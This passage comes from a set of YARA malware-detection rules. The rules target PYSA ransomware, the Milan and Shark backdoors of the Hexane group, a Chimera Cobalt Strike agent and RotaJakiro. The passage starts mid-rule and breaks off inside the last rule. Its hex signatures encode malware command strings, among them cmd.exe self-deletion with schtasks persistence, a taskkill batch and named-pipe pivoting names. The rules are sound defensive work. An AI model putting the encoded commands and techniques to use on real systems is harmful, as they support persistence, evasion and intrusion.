		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-09/PYSA/RAN_PYSA_Sept_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "e16f2ae581b8627ccd4e8ecb56db52c992022473d006843ed19a69c8059ecb54"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14"
		hash2 = "7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14"
		hash3 = "44f1def68aef34687bfacf3668e56873f9d603fc6741d5da1209cc55bdc6f1f9"
		tlp = "white"
		adversary = "RAAS"
	strings:
		$s1 = { 57 ff 15 38 a0 45 00 be [2] 45 00 33 ff 56 57 68 01 00 1f 00 ff 15 34 a0 45 00 85 c0 75 2b 56 57 57 ff 15 30 a0 45 00 57 8b f0 e8 44 00 00 00 6a 01 e8 3d 00 00 00 59 59 e8 3f ff ff ff 56 ff 15 2c a0 45 00 }
		$s2 = { 51 a1 34 52 47 00 33 c5 89 45 fc 56 8d 45 f8 50 6a 02 6a 00 68 [2] 45 00 68 02 00 00 80 ff 15 0c a0 45 00 8b 15 bc 50 47 00 8b ca 8d 71 01 8a 01 41 84 c0 75 f9 2b ce 8b 35 08 a0 45 00 8d 41 01 50 52 6a 07 6a 00 68 [2] 45 00 ff 75 f8 ff d6 6a 05 68 [2] 45 00 6a 07 6a 00 68 [2] 45 00 ff 75 f8 ff d6 ff 75 f8 ff 15 10 a0 45 00 8b 4d fc 33 cd 5e e8 [2] 02 00 }
		$s3 = { 57 8d 85 f8 fe ff ff bb 04 01 00 00 50 53 ff 15 48 a0 45 00 8d bd f8 fe ff ff 4f 8a 47 01 47 84 c0 75 f8 be [2] 45 00 8d 85 f4 fd ff ff 53 50 33 db a5 53 a5 66 a5 a4 ff 15 74 a0 45 00 8b cb 8a 84 0d f4 fd ff ff 88 84 0d f0 fc ff ff 41 84 c0 75 ed 8d 85 f0 fc ff ff 6a 5c 50 e8 [2] 02 00 59 59 85 c0 74 02 88 18 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 f8 fe ff ff 50 ff 15 1c a0 45 00 8b f8 83 ff ff 0f 84 a7 00 00 00 b9 78 50 47 00 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 95 f4 fd ff ff 8d 72 01 8a 02 42 84 c0 75 f9 2b d6 8d b5 f8 fe ff ff 8d 5e 01 8a 06 46 84 c0 75 f9 2b f3 83 c1 14 8d 04 56 03 c1 e8 [2] 02 00 8b f4 8d 85 f8 fe ff ff 50 8d 85 f0 fc ff ff 50 8d 85 f4 fd ff ff 50 50 68 78 50 47 00 56 ff 15 a0 a1 45 00 8b ce 83 c4 18 8d 51 01 8a 01 41 84 c0 75 f9 33 db 8d 85 ec fc ff ff 53 50 2b ca 51 56 57 ff 15 88 a0 45 00 57 ff 15 7c a0 45 00 53 53 53 8d 85 f8 fe ff ff 50 68 [2] 45 00 53 ff 15 94 a1 45 00 8d a5 e0 fc ff ff 5f 5e 5b 8b }
		$s4 = { 51 a1 34 52 47 00 33 c5 89 45 fc 56 68 [2] 46 00 68 [2] 46 00 68 [2] 46 00 6a 11 e8 c6 fb ff ff 8b f0 83 c4 10 85 f6 74 12 ff 75 0c 8b ce ff 75 08 ff 15 a8 a1 45 00 ff d6 eb 14 6a 00 ff 75 0c ff 75 08 ff 15 4c a1 45 00 50 e8 d6 00 00 00 8b 4d fc 33 cd 5e e8 [2] fe ff 8b e5 }
		$s5 = { 8b ec 6a ff 68 [2] 45 00 64 a1 00 00 00 00 50 83 ec 44 a1 34 52 47 00 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b f1 8b 3d 04 a0 45 00 68 00 00 00 f0 6a 01 6a 00 6a 00 56 c7 06 00 00 00 00 ff d7 85 c0 75 60 ff 15 54 a0 45 00 6a 08 6a 01 6a 00 68 [2] 45 00 56 8b d8 ff d7 85 c0 75 46 6a 28 6a 01 50 68 [2] 45 00 56 ff d7 85 c0 75 35 53 ff 15 58 a0 45 00 68 [2] 45 00 8d 4d d8 e8 ?? 8a fd ff 8d 45 d8 c7 45 fc 00 00 00 00 50 8d 4d b0 e8 d3 00 00 00 68 [2] 47 00 8d 45 b0 50 e8 [2] 00 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d f0 33 cd e8 [2] 00 00 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 100KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Milan_Aug_2021_1 : FILE
{
	meta:
		description = "Detect Milian backdoor used by Hexane group (aka Siamesekitten)"
		author = "Arkbird_SOLG"
		id = "34acac5a-6090-5a68-9afb-4da7073bed58"
		date = "2021-08-18"
		modified = "2021-08-19"
		reference = "https://www.clearskysec.com/siamesekitten/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Milan_Aug_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "bad8ae2a9275bcb6e0e903fda6a128a1bed676c8e1a8e653e9fc3467766ce7fc"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249"
		hash2 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248"
		tlp = "White"
		adversary = "Hexane"
	strings:
		$c1 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 64 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 77 00 61 00 69 00 74 00 66 00 6f 00 72 00 20 00 61 00 20 00 34 00 20 00 26 00 20 00 63 00 6f 00 70 00 79 00 20 00 22 00 25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 52 00 75 00 6e 00 20 00 2f 00 54 00 4e 00 20 00 22 }
		$c2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 72 00 6d 00 64 00 69 00 72 00 20 00 2f 00 73 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00 6e }
		$s1 = { 2d 2d 2d 2d 2d 2d [1-8] 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f }
		$s2 = { 5b 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 28 00 25 00 64 00 29 00 5d }
		$s3 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d}
		$s4 = { 8d 8d 7c ee ff ff 51 6a 00 6a 00 50 ff 15 ?? b2 4b 00 85 c0 0f 84 a9 0f 00 00 8d 85 e0 fb ff ff 50 e8 ?? e0 ff ff 59 50 8d 85 e0 fb ff ff 50 8d 4b 20 e8 [2] 00 00 6a 00 ff b5 94 ee ff ff 8d 85 e0 fb ff ff 50 ff 33 ff 15 ?? b2 4b 00 8b d0 89 95 e8 ee ff ff 85 d2 0f 84 65 0f 00 00 6a 02 5e 33 c9 b8 00 00 80 00 39 b5 88 ee ff ff 0f 44 c8 83 bd 94 ef ff ff 08 51 8d 85 80 ef ff ff 0f 43 85 80 ef ff ff 33 c9 51 51 51 ff b5 a8 ee ff ff 50 52 ff 15 ?? b2 4b 00 8b f0 89 b5 48 ef ff ff 85 f6 0f 84 fb 0e 00 00 80 7b 04 00 8b 3d ?? b2 4b 00 75 23 6a 02 58 39 85 88 ee ff ff 75 18 6a 04 8d 85 20 ef ff ff c7 85 20 ef ff ff 00 31 00 00 50 6a 1f 56 ff d7 c6 85 47 ef ff ff 00 33 c9 c7 85 f0 ee ff ff 18 00 00 00 8b c1 41 89 8d 20 ef ff ff 83 f8 03 0f 83 88 0e 00 00 83 bb d8 00 00 00 00 76 31 8d 83 c8 00 00 00 83 78 14 08 72 02 8b 00 68 00 00 00 01 ff b3 d8 00 00 00 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 00 00 00 8d b3 a8 00 00 00 83 7e 10 00 76 7a 68 ?? b9 4c 00 8d 8d 98 ef ff ff e8 [2] 00 00 6a ff 33 c0 8d 8d 98 ef ff ff 6a 00 40 56 88 45 fc e8 [2] 00 00 83 bd ac ef ff ff 08 8d 85 98 ef ff ff 8b b5 48 ef ff ff 0f 43 85 98 ef ff ff 68 00 00 00 01 ff b5 a8 ef ff ff 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 }
		$s5 = { 6a 00 ff b5 40 ef ff ff ff b3 88 01 00 00 ff 15 30 b0 4b 00 50 57 6a ff 56 8b b5 48 ef ff ff 56 ff 15 ?? b2 4b 00 85 c0 0f 85 b2 02 00 00 8d bd 00 ef ff ff ab ab ab ab 8d 85 00 ef ff ff 50 ff 15 ?? b2 4b 00 85 c0 0f 84 74 02 00 00 8b 95 04 ef ff ff 85 d2 0f 84 4f 01 00 00 33 c0 8d bd b8 ee ff ff 6a 06 59 f3 ab 83 a5 c8 ee ff ff 00 8d bd f4 ee ff ff 83 a5 c4 ee ff ff 00 40 89 85 bc ee ff ff 89 85 cc ee ff ff 33 c0 ab c7 85 b8 ee ff ff 03 00 00 00 89 95 c0 ee ff ff ab ab 8d 43 08 83 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 15KB and 1 of ( $c* ) and 4 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Shark_Aug_2021_1 : FILE
{
	meta:
		description = "Detect Shark backdoor used by Hexane group (aka Siamesekitten)"
		author = "Arkbird_SOLG"
		id = "881dcdd9-2f4d-51d3-b046-15cdb2a2cb55"
		date = "2021-08-18"
		modified = "2021-08-19"
		reference = "https://www.clearskysec.com/siamesekitten/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Shark_Aug_2021_1.yara#L1-L24"
		license_url = "N/A"
		logic_hash = "c14abb839f4af81a3db38719f23c47498d577a779950e66978ff14d015043490"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "89ab99f5721b691e5513f4192e7c96eb0981ddb6c2d2b94c1a32e2df896397b8"
		hash2 = "f6ae4f4373510c4e096fab84383b547c8997ccf3673c00660df8a3dc9ed1f3ca"
		hash3 = "44faf11719b3a679e7a6dd5db40033ec4dd6e1b0361c145b81586cb735a64112"
		hash4 = "2f2ef9e3f6db2146bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c"
		tlp = "White"
		adversary = "Hexane"
	strings:
		$s1 = { 7b 00 22 00 44 00 61 00 74 00 61 00 22 00 3a 00 5b 00 22 00 00 07 22 00 [0-8] 5d 00 7d }
		$s2 = "application/json" fullword wide
		$s3 = { 40 00 45 00 43 00 48 00 4f 00 20 00 4f 00 46 00 46 00 0a 00 00 1d 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 49 00 4d 00 20 00 22 00 00 17 22 00 20 00 2f 00 46 00 20 00 3e 00 20 00 6e 00 75 00 6c 00 0a 00 00 2b 70 00 69 00 6e 00 67 00 20 00 [12-28] 00 20 00 6e 00 75 00 6c }
		$s4 = { 2a 00 65 00 78 00 65 00 00 0b 2a 00 70 00 72 00 6f 00 63 00 00 07 2a 00 6b 00 6c 00 00 07 64 00 69 00 72 00 00 11 66 00 69 00 6c 00 65 00 3a 00 2f 00 2f 00 2f }
		$s5 = { 16 0a 2b 13 02 06 02 06 91 1f 2a 28 ?? 00 00 0a 61 d2 9c 06 17 58 0a 06 02 8e 69 }
		$s6 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography" fullword wide
		$s7 = { 65 00 63 00 68 00 6f 00 20 00 [2-10] 20 00 7c 00 20 00 64 00 65 00 6c 00 20 00 [2-10] 2e 00 62 00 61 00 74 00 00 0f [2-10] 00 2e 00 62 00 61 00 74 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 15KB and 6 of ( $s* )
}

rule ARKBIRD_SOLG_APT_Chimera_Sept_2020_1 : FILE
{
	meta:
		description = "Detect Cobalt Strike agent used by Chimera"
		author = "Arkbird_SOLG"
		id = "7a7c3952-fa6e-5643-a40f-d2e466b8c2a2"
		date = "2020-10-03"
		modified = "2020-10-04"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-03/Chimera/APT_Chimera_Sept_2020_1.yar#L1-L23"
		license_url = "N/A"
		logic_hash = "8fdb34c793534f8632fd2c35b89462d4a736a31f2347e7bab3e8bcebff04c21f"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "f6d89ff139f4169e8a67332a0fd55b6c9beda0b619b1332ddc07d9a860558bab"
	strings:
		$header = { 4D 5A 41 52 55 48 89 E5 48 83 EC 20 48 83 E4 F0 E8 00 00 00 00 5B 48 81 C3 EB 18 00 00 FF D3 48 81 C3 00 09 03 00 49 89 D8 6A 04 5A FF D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 }
		$s1 = "\\\\%s\\pipe\\%s" fullword ascii
		$s2 = "%04x-%04x:%s" fullword wide
		$core1 = "core_pivot_session_new" fullword ascii
		$core2 = "core_pivot_session_died" fullword ascii
		$core3 = "core_pivot_remove" fullword ascii
		$core4 = "core_pivot_add" fullword ascii
		$lib1 = "CreateNamedPipeA" fullword ascii
		$lib2 = "ConnectNamedPipe" fullword ascii
		$lib3 = "WinHttpGetIEProxyConfigForCurrentUser" fullword ascii
		$export = "ReflectiveLoader" fullword ascii
	condition:
		uint16( 0 ) == 0x4a5d and filesize > 30KB and $header and 1 of ( $s* ) and 2 of ( $core* ) and 2 of ( $lib* ) and $export
}

rule ARKBIRD_SOLG_MAL_ELF_Rotajakiro_May_2021_1 : FILE
{
	meta:
		description = "Detect the ELF version of RotaJakiro"
		author = "Arkbird_SOLG"
		id = "a67f9b64-8778-542f-8481-566a4ffaf5e8"
		date = "2020-05-07"
		modified = "2021-05-08"
		reference = "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-08/RotaJakiro/MAL_ELF_RotaJakiro_May_2021_1.yara#L1-L21"
		license_url = "N/A"
		logic_hash = "8e4b9ef8a908a13e738da31b28c879228c3bdc1d8461417b1c1bf31026c98abf"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0958e1f4c3d14e4de380bda4c5648ab4fa4459ef8f5daaf32bb5f3420217af32"
		hash2 = "5d753e72ef89f1cef3b7007df812c7a504727816a7b91ecd75cc9acdfb7e9c2e"
		hash3 = "a18bec90b2b6185362eeb67c516c82dd34cd8f6a7423875921572e97ae1668b0"
		hash4 = "af2a2be20d7bbec0a9bb4a4dfa898aa18ef4994a9791d7cf37b7b62b379992ac"
		hash5 = "d38e8f113c36cfa9e05c4d0d6b526d81b69039430c3b1fc64a08a3445b5a5abe"
		tlp = "White"
		adversary = "Oceanlotus"
	strings:
		$seq1 = { 41 57 41 56 41 55 41 54 41 89 f5 55 53 49 89 fc 48 83 ec 58 64 48 8b 04 25 28 00 00 00 48 89 44 24 48 31 c0 e8 77 60 ff ff 89 c7 e8 20 60 ff ff 48 8b 58 20 c6 44 24 10 85 48 8d 7c 24 10 c6 44 24 11 2d c6 44 24 12 c5 ba 22 00 00 00 c6 44 24 13 7a c6 44 24 14 02 be 30 00 00 00 c6 44 24 15 58 c6 44 24 16 30 c6 44 24 17 e4 c6 44 24 18 8a c6 44 24 19 37 c6 44 24 1a bd c6 44 24 1b 68 c6 44 24 1c f6 c6 44 24 1d f8 c6 44 24 1e 6c c6 44 24 1f 8c c6 44 24 20 97 c6 44 24 21 cb c6 44 24 22 73 c6 44 24 23 bd c6 44 24 24 7b c6 44 24 25 19 c6 44 24 26 93 c6 44 24 27 a0 c6 44 24 28 26 c6 44 24 29 26 c6 44 24 2a ae c6 44 24 2b 1c c6 44 24 2c 96 c6 44 24 2d 1d c6 44 24 2e 0f c6 44 24 2f be 44 8b 05 b6 7c 21 00 48 8b 0d b7 7c 21 00 c6 44 24 30 b2 c6 44 24 31 7d c6 44 24 32 48 c6 44 24 33 b9 c6 44 24 34 b6 c6 44 24 35 a4 c6 44 24 36 30 c6 44 24 37 43 c6 44 24 38 06 c6 44 24 39 e3 c6 44 24 3a 4f c6 44 24 3b 06 c6 44 24 3c f5 c6 44 24 3d 87 c6 44 24 3e d5 c6 44 24 3f 6a e8 3a 71 ff ff 48 89 df 48 89 c6 48 89 c5 e8 bc 6c ff ff 45 85 ed 48 89 c3 0f 85 a0 00 00 00 48 89 df e8 58 6e ff ff 85 c0 0f 84 30 01 00 00 8b 05 2a 7c 21 00 48 c7 44 24 08 00 00 00 00 48 83 ec 08 c7 44 24 0c 00 00 00 00 4c 8b 0d 16 7c 21 00 ba 2a 00 00 00 4c 89 e6 bf 01 00 00 00 50 4c 8d 44 24 14 48 8d 4c 24 18 e8 b1 71 ff ff 85 c0 5a }
		$seq2 = { 41 54 41 b8 08 00 00 00 55 53 b9 00 f3 61 00 ba 42 00 00 00 49 89 fd 49 89 f4 48 83 ec 68 be 50 00 00 00 48 89 e7 c6 04 24 bf c6 44 24 01 cf 64 48 8b 04 25 28 00 00 00 48 89 44 24 58 31 c0 c6 44 24 02 c6 c6 44 24 03 a1 c6 44 24 04 20 c6 44 24 05 76 c6 44 24 06 5d c6 44 24 07 e5 c6 44 24 08 ec c6 44 24 09 87 c6 44 24 0a 45 c6 44 24 0b 26 c6 44 24 0c e1 c6 44 24 0d c8 c6 44 24 0e 8e c6 44 24 0f c0 c6 44 24 10 89 c6 44 24 11 d2 c6 44 24 12 ac c6 44 24 13 c1 c6 44 24 14 01 c6 44 24 15 08 c6 44 24 16 ac c6 44 24 17 8e c6 44 24 18 52 c6 44 24 19 65 c6 44 24 1a c9 c6 44 24 1b 06 c6 44 24 1c be c6 44 24 1d 82 c6 44 24 1e ef c6 44 24 1f 85 c6 44 24 20 9f c6 44 24 21 96 c6 44 24 22 fa c6 44 24 23 65 c6 44 24 24 50 c6 44 24 25 dd c6 44 24 26 0e c6 44 24 27 e0 c6 44 24 28 87 c6 44 24 29 ba c6 44 24 2a 27 c6 44 24 2b f8 c6 44 24 2c ef c6 44 24 2d 5c c6 44 24 2e 60 c6 44 24 2f 07 c6 44 24 30 b1 c6 44 24 31 c5 c6 44 24 32 3d c6 44 24 33 81 c6 44 24 34 df c6 44 24 35 87 c6 44 24 36 64 c6 44 24 37 01 c6 44 24 38 04 c6 44 24 39 9b c6 44 24 3a f9 c6 44 24 3b da c6 44 24 3c 28 c6 44 24 3d f1 c6 44 24 3e 30 c6 44 24 3f cb c6 44 24 40 c8 c6 44 24 41 48 c6 44 24 42 43 c6 44 24 43 e6 c6 44 24 44 e5 c6 44 24 45 f3 c6 44 24 46 c9 c6 44 24 47 8b c6 44 24 48 3c c6 44 24 49 a7 c6 44 24 4a 8b c6 44 24 4b 48 c6 44 24 4c 54 c6 44 24 4d 13 c6 44 24 4e 2b c6 44 24 4f bb e8 a4 aa ff ff bf 00 04 00 00 48 89 c5 e8 77 9a ff ff be 00 04 00 00 48 89 c3 48 89 c7 e8 37 9b ff ff 4c 89 ea 48 }
		$seq3 = { 48 8d 7c 24 10 c6 44 24 10 fb c6 44 24 11 d0 64 48 8b 04 25 28 00 00 00 48 89 84 24 08 01 00 00 31 c0 c6 44 24 12 8d c6 44 24 13 ac c6 44 24 14 db c6 44 24 15 79 c6 44 24 16 84 c6 44 24 17 52 c6 44 24 18 44 c6 44 24 19 46 c6 44 24 1a 6c c6 44 24 1b d1 c6 44 24 1c ac c6 44 24 1d 31 c6 44 24 1e ca c6 44 24 1f 18 c6 44 24 20 18 c6 44 24 21 90 c6 44 24 22 ec c6 44 24 23 8f c6 44 24 24 a1 c6 44 24 25 74 c6 44 24 26 a8 c6 44 24 27 9a c6 44 24 28 53 c6 44 24 29 d4 c6 44 24 2a a4 c6 44 24 2b 5b c6 44 24 2c 68 c6 44 24 2d c8 c6 44 24 2e dd c6 44 24 2f a5 e8 18 a9 ff ff 48 89 c7 49 89 c5 e8 4d a6 ff ff 83 f8 01 74 40 31 db 4d 85 ed 74 08 4c 89 ef e8 b9 95 ff ff 48 8b 8c 24 08 01 00 00 64 48 33 }
		$seq4 = { ba 15 00 00 00 be 20 00 00 00 c6 44 24 30 b1 c6 44 24 31 be c6 44 24 32 54 c6 44 24 33 93 c6 44 24 34 29 c6 44 24 35 67 c6 44 24 36 1f c6 44 24 37 b5 c6 44 24 38 a5 c6 44 24 39 ec c6 44 24 3a 18 c6 44 24 3b 53 c6 44 24 3c f0 c6 44 24 3d f1 c6 44 24 3e fe c6 44 24 3f 9f c6 44 24 40 27 c6 44 24 41 8f c6 44 24 42 8d c6 44 24 43 77 c6 44 24 44 1e c6 44 24 45 e1 c6 44 24 46 e1 c6 44 24 47 f0 c6 44 24 48 9e c6 44 24 49 e2 c6 44 24 4a 0d c6 44 24 4b 96 c6 44 24 4c ff c6 44 24 4d 6c c6 44 24 4e b4 c6 44 24 4f 16 e8 09 a8 ff ff 4c 89 ef 48 89 c6 49 89 c4 e8 8b a3 ff ff 48 8d bc 24 90 00 00 00 41 b8 08 00 00 00 b9 00 f3 61 00 ba 69 00 00 00 be 70 00 00 00 48 89 04 24 c6 84 24 90 00 00 00 b3 c6 84 24 91 00 00 00 0b c6 84 24 92 00 00 00 18 c6 84 24 93 00 00 00 fd c6 84 24 94 00 00 00 71 c6 84 24 95 00 00 00 3b c6 84 24 96 00 00 00 b7 c6 84 24 97 00 00 00 fc c6 84 24 98 00 00 00 70 c6 84 24 99 00 00 00 18 c6 84 24 9a 00 00 00 f7 c6 84 24 9b 00 00 00 22 c6 84 24 9c 00 00 00 2d c6 84 24 9d 00 00 00 75 c6 84 24 9e 00 00 00 5d c6 84 24 9f 00 00 00 8f c6 84 24 a0 00 00 00 75 c6 84 24 a1 00 00 00 60 c6 84 24 a2 00 00 00 91 c6 84 24 a3 00 00 00 b3 c6 84 24 a4 00 00 00 1a c6 84 24 a5 00 00 00 0b c6 84 24 a6 00 00 00 00 c6 84 24 a7 00 00 00 5c c6 84 24 a8 00 00 00 6b c6 84 24 a9 00 00 00 8d c6 84 24 aa 00 00 00 ee c6 84 24 ab 00 00 00 3b c6 84 24 ac 00 00 00 7e c6 84 24 ad 00 00 00 67 c6 84 24 ae 00 00 00 72 c6 84 24 af 00 00 00 43 c6 84 24 b0 00 00 00 f6 c6 84 24 b1 00 00 00 14 c6 84 24 b2 00 00 00 32 c6 84 24 b3 00 00 00 c1 c6 84 24 b4 00 00 00 79 c6 84 24 b5 00 00 00 0d c6 84 24 b6 00 00 00 0d c6 84 24 b7 00 00 00 22 c6 84 24 b8 00 00 00 e1 c6 84 24 b9 00 00 00 bd c6 84 24 ba 00 00 00 3f c6 84 24 bb 00 00 00 82 c6 84 24 bc 00 00 00 dd c6 84 24 bd 00 00 00 23 c6 84 24 be 00 00 00 7d c6 84 24 bf 00 00 00 87 c6 84 24 c0 00 00 00 34 c6 84 24 c1 00 00 00 9d c6 84 24 c2 00 00 00 43 c6 84 24 c3 00 00 00 98 c6 84 24 c4 00 00 00 da c6 84 24 c5 00 00 00 e0 c6 84 24 c6 00 00 00 3d c6 84 24 c7 00 00 00 64 c6 84 24 c8 00 00 00 1a c6 84 24 c9 00 00 00 d7 c6 84 24 ca 00 00 00 f5 c6 84 24 cb 00 00 00 5a c6 84 24 cc 00 00 00 c3 c6 84 24 cd 00 00 00 9c c6 84 24 ce 00 00 00 97 c6 84 24 cf 00 00 00 c7 c6 84 24 d0 00 00 00 65 c6 84 24 d1 00 00 00 8f c6 84 24 d2 00 00 00 99 c6 84 24 d3 00 00 00 eb c6 84 24 d4 00 00 00 2f c6 84 24 d5 00 00 00 2b c6 84 24 d6 00 00 00 d0 c6 84 24 d7 00 00 00 d9 c6 84 24 d8 00 00 00 4e c6 84 24 d9 00 00 00 8f c6 84 24 da 00 00 00 7b c6 84 24 db 00 00 00 97 c6 84 24 dc 00 00 00 3b c6 84 24 dd 00 00 00 14 c6 84 24 de 00 00 00 e9 c6 84 24 df 00 00 00 e9 c6 84 24 e0 00 00 00 82 c6 84 24 e1 00 00 00 48 c6 84 24 e2 00 00 00 dc c6 84 24 e3 00 00 00 a3 c6 84 24 e4 00 00 00 75 c6 84 24 e5 00 00 00 ca c6 84 24 e6 00 00 00 e6 c6 84 24 e7 00 00 00 40 c6 84 24 e8 00 00 00 6b c6 84 24 e9 00 00 00 b1 c6 84 24 ea 00 00 00 68 c6 84 24 eb 00 00 00 42 c6 84 24 ec 00 00 00 56 c6 84 24 ed 00 00 00 b4 c6 84 24 ee 00 00 00 ac c6 84 24 ef 00 00 00 2a c6 84 24 f0 00 00 00 fc c6 84 24 f1 00 00 00 34 c6 84 24 f2 00 00 00 fa c6 84 24 f3 00 00 00 1d c6 84 24 f4 00 00 00 1b c6 84 24 f5 00 00 00 9a c6 84 24 f6 00 00 00 62 c6 84 24 f7 00 00 00 b3 c6 84 24 f8 00 00 00 39 c6 84 24 f9 00 00 00 6a c6 84 24 fa 00 00 00 19 c6 84 24 fb 00 00 00 1b c6 84 24 fc 00 00 00 f3 c6 84 24 fd 00 00 00 c5 c6 84 24 fe 00 00 00 d2 c6 84 24 ff 00 00 00 6a e8 55 a4 ff ff 48 89 c7 48 89 c5 e8 4a 92 ff ff 44 8d 7c 03 0a 4d 63 ff 4c 89 ff e8 1a 94 ff ff 4c 89 fe 48 89 c3 48 89 c7 e8 dc 94 ff ff 4c 89 f2 48 89 ee 48 89 df 31 c0 e8 2c 95 ff ff 48 89 da 8b 0a 48 83 c2 04 8d 81 ff fe fe fe f7 d1 21 c8 25 80 80 80 80 74 e9 89 c1 4c 8b 3c 24 48 89 de c1 e9 10 a9 80 80 00 00 0f 44 c1 48 8d 4a 02 4c 89 ff 48 0f 44 d1 89 c1 00 c1 48 83 da 03 48 29 da e8 93 a8 ff ff 4c 89 ff be ed 01 00 00 4c 89 3c 24 e8 d2 aa ff ff 48 8d 44 24 50 41 b8 08 00 00 00 b9 00 f3 61 00 ba 34 00 00 00 be 40 00 00 00 c6 44 24 50 c6 48 89 c7 c6 44 24 51 3b c6 44 24 52 16 c6 44 24 53 01 c6 44 24 54 92 c6 44 24 55 36 c6 44 24 56 81 c6 44 24 57 c8 c6 44 24 58 f3 c6 44 24 59 49 c6 44 24 5a a8 c6 44 24 5b 02 c6 44 24 5c 6f c6 44 24 5d 9d c6 44 24 5e db c6 44 24 5f 61 c6 44 24 60 8a c6 44 24 61 e3 c6 44 24 62 f4 c6 44 24 63 1b c6 44 24 64 33 c6 44 24 65 4d c6 44 24 66 b4 c6 44 24 67 00 c6 44 24 68 f4 c6 44 24 69 76 c6 44 24 6a 70 c6 44 24 6b 56 c6 44 24 6c e2 c6 44 24 6d f3 c6 44 24 6e 5c c6 44 24 6f 73 c6 44 24 70 06 c6 44 24 71 de c6 44 24 72 c5 c6 44 24 73 fa c6 44 24 74 4c c6 44 24 75 7b c6 44 24 76 34 c6 44 24 77 b9 c6 44 24 78 d3 c6 44 24 79 a6 c6 44 24 7a 9b c6 44 24 7b 03 c6 44 24 7c f7 c6 44 24 7d 8e c6 44 24 7e 37 c6 44 24 7f 6a c6 84 24 80 00 00 00 3a c6 84 24 81 00 00 00 97 c6 84 24 82 00 00 00 57 c6 84 24 83 00 00 00 25 c6 84 24 84 00 00 00 2c c6 84 24 85 00 00 00 ac c6 84 24 86 00 00 00 a6 c6 84 24 87 00 00 00 de c6 84 24 88 00 00 00 29 c6 84 24 89 00 00 00 ca c6 84 24 8a 00 00 00 c0 c6 84 24 8b 00 00 00 93 c6 84 24 8c 00 00 00 67 c6 84 24 8d 00 00 00 47 c6 84 24 8e 00 00 00 8d c6 84 24 8f 00 00 00 }
	condition:
